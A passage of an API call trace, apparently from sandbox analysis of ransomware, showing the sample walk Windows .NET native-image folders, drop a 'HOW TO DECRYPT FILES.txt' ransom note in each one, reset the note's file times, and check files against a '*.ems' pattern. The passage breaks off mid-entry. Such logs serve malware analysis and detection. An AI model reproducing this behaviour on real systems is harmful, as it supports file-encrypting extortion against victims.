lstrcmpA (lpString1=".", lpString2="f30beba36940b5a2b55a32ea7f42d694") returned -1 [0107.867] lstrcmpA (lpString1="..", lpString2="f30beba36940b5a2b55a32ea7f42d694") returned -1 [0107.868] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\*.*") returned="*.*" [0107.868] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\", lpString2="f30beba36940b5a2b55a32ea7f42d694" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694" [0107.868] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.868] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.868] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.868] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.868] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.869] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b61a8d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b61a8d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb2344823, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x85a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcupdate.ni.exe", cAlternateFileName="")) returned 1 [0107.869] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.869] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mcupdate.ni.exe") returned -1 [0107.869] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mcupdate.ni.exe") returned -1 [0107.869] lstrcmpiA (lpString1="", lpString2="mcupdate.ni.exe") returned -1 [0107.869] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\*.*") returned="*.*" [0107.869] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\" [0107.869] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\") returned="" [0107.869] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\HOW TO DECRYPT FILES.txt" [0107.869] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\how to decrypt files.txt")) returned 0xffffffff [0107.869] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.873] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.873] CloseHandle (hObject=0x90) returned 1 [0107.873] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\", lpString2="mcupdate.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\mcupdate.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\mcupdate.ni.exe" [0107.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcupdate\\f30beba36940b5a2b55a32ea7f42d694\\mcupdate.ni.exe", pszSpec="*.ems") returned 0 [0107.873] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b61a8d, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b61a8d, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb2344823, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x85a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="mcupdate.ni.exe", cAlternateFileName="")) returned 0 [0107.873] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.873] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x628f9d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x628f9d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x628f9d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="f30beba36940b5a2b55a32ea7f42d694", cAlternateFileName="F30BEB~1")) returned 0 [0107.873] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.874] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63006d, dwReserved1=0x700075, cFileName="Mcx2Dvcs", cAlternateFileName="")) returned 1 [0107.874] lstrcmpA (lpString1=".", lpString2="Mcx2Dvcs") returned -1 [0107.874] lstrcmpA (lpString1="..", lpString2="Mcx2Dvcs") returned -1 [0107.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.874] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Mcx2Dvcs" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs" [0107.874] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.874] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.874] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.875] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.875] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.875] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="53fddfded025faba07fdd8b69fef6bd6", cAlternateFileName="53FDDF~1")) returned 1 [0107.875] lstrcmpA (lpString1=".", lpString2="53fddfded025faba07fdd8b69fef6bd6") returned -1 [0107.875] lstrcmpA (lpString1="..", lpString2="53fddfded025faba07fdd8b69fef6bd6") returned -1 [0107.875] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\*.*") returned="*.*" [0107.875] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\", lpString2="53fddfded025faba07fdd8b69fef6bd6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6" [0107.875] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.875] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.876] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.876] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.876] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.876] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b87be8, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b87be8, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xaf5be310, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Mcx2Dvcs.ni.dll", cAlternateFileName="")) returned 1 [0107.876] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.876] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Mcx2Dvcs.ni.dll") returned -1 [0107.876] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Mcx2Dvcs.ni.dll") returned -1 [0107.876] lstrcmpiA (lpString1="", lpString2="Mcx2Dvcs.ni.dll") returned -1 [0107.876] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\*.*") returned="*.*" [0107.876] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\" [0107.876] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\") returned="" [0107.876] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\HOW TO DECRYPT FILES.txt" [0107.876] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcx2dvcs\\53fddfded025faba07fdd8b69fef6bd6\\how to decrypt files.txt")) returned 0xffffffff [0107.876] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcx2dvcs\\53fddfded025faba07fdd8b69fef6bd6\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.880] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.880] CloseHandle (hObject=0x90) returned 1 [0107.880] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\", lpString2="Mcx2Dvcs.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\Mcx2Dvcs.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\Mcx2Dvcs.ni.dll" [0107.880] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Mcx2Dvcs\\53fddfded025faba07fdd8b69fef6bd6\\Mcx2Dvcs.ni.dll", pszSpec="*.ems") returned 0 [0107.881] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b87be8, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30b87be8, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xaf5be310, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Mcx2Dvcs.ni.dll", cAlternateFileName="")) returned 0 [0107.881] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.881] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6176bae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6176bae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6176bae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="53fddfded025faba07fdd8b69fef6bd6", cAlternateFileName="53FDDF~1")) returned 0 [0107.881] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.884] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x63004d, dwReserved1=0x320078, cFileName="Microsoft-Windows-H#", cAlternateFileName="MICROS~1")) returned 1 [0107.931] lstrcmpA (lpString1=".", lpString2="Microsoft-Windows-H#") returned -1 [0107.931] lstrcmpA (lpString1="..", lpString2="Microsoft-Windows-H#") returned -1 [0107.932] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.932] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft-Windows-H#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#" [0107.932] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.935] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.935] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.935] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.935] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a46df77acafec60e31859608625e6354", cAlternateFileName="A46DF7~1")) returned 1 [0107.935] lstrcmpA (lpString1=".", lpString2="a46df77acafec60e31859608625e6354") returned -1 [0107.935] lstrcmpA (lpString1="..", lpString2="a46df77acafec60e31859608625e6354") returned -1 [0107.935] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\*.*") returned="*.*" [0107.936] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\", lpString2="a46df77acafec60e31859608625e6354" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354" [0107.936] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.936] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.936] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4322b8f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4322b8f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4322b8f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.936] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.936] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.936] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43205790, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x43205790, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x43205790, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1a400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0107.936] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.937] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll") returned -1 [0107.937] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll") returned -1 [0107.937] lstrcmpiA (lpString1="", lpString2="Microsoft-Windows-HomeGroupDiagnostic.NetListMgr.Interop.ni.dll") returned -1 [0107.937] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\*.*") returned="*.*" [0107.937] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\" [0107.937] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\") returned="" [0107.937] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\HOW TO DECRYPT FILES.txt" [0107.937] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft-Windows-H#\\a46df77acafec60e31859608625e6354\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft-windows-h#\\a46df77acafec60e31859608625e6354\\how to decrypt files.txt")) returned 0xffffffff [0107.937] CreateFileA 